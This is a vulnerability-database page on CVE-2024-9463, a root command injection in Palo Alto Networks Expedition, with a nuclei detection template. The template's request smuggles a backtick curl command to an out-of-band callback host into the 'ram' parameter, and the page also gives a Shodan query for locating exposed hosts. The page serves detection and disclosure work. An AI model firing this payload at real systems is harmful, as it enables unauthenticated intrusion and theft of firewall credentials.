HexBrain

Browse / CVEs / CVE-2024-9463

CVE-2024-9463· paloaltonetworks / expedition· CWE-78

PaloAlto Networks Expedition - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-11-14; known to be used by ransomware.

criticalseverity
9.9CVSS score
98.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.

Impact

Successful exploitation could result in unauthorized access and control of the affected device.

Fix

Apply the necessary security patches provided by Palo Alto Networks to mitigate the CVE-2024-9463 vulnerability.

How to confirm it

Send: POST /API/convertCSVtoParquet.php
Positive when: contains in interactsh_protocol "http" AND contains "Undefined index: taskID"

Run it with nuclei: nuclei -id CVE-2024-9463 -u <target>

The full check
id: CVE-2024-9463

info:
  name: PaloAlto Networks Expedition - Remote Code Execution
  author: princechaddha
  severity: critical
  description: |
    An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.
  impact: |
    Successful exploitation could result in unauthorized access and control of the affected device.
  remediation: |
    Apply the necessary security patches provided by Palo Alto Networks to mitigate the CVE-2024-9463 vulnerability.
  reference:
    - https://x.com/watchtowrcyber/status/1844306954245767623
    - https://security.paloaltonetworks.com/PAN-SA-2024-0010
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9463
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/S
    cvss-score: 9.9
    cve-id: CVE-2024-9463
    cwe-id: CWE-78
    epss-score: 0.98546
    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: cve,cve2024,palo-alto,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /API/convertCSVtoParquet.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ram=watchTowr`curl+{{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Undefined index: taskID"

References

Use this check only on systems you are authorised to test. Where the data comes from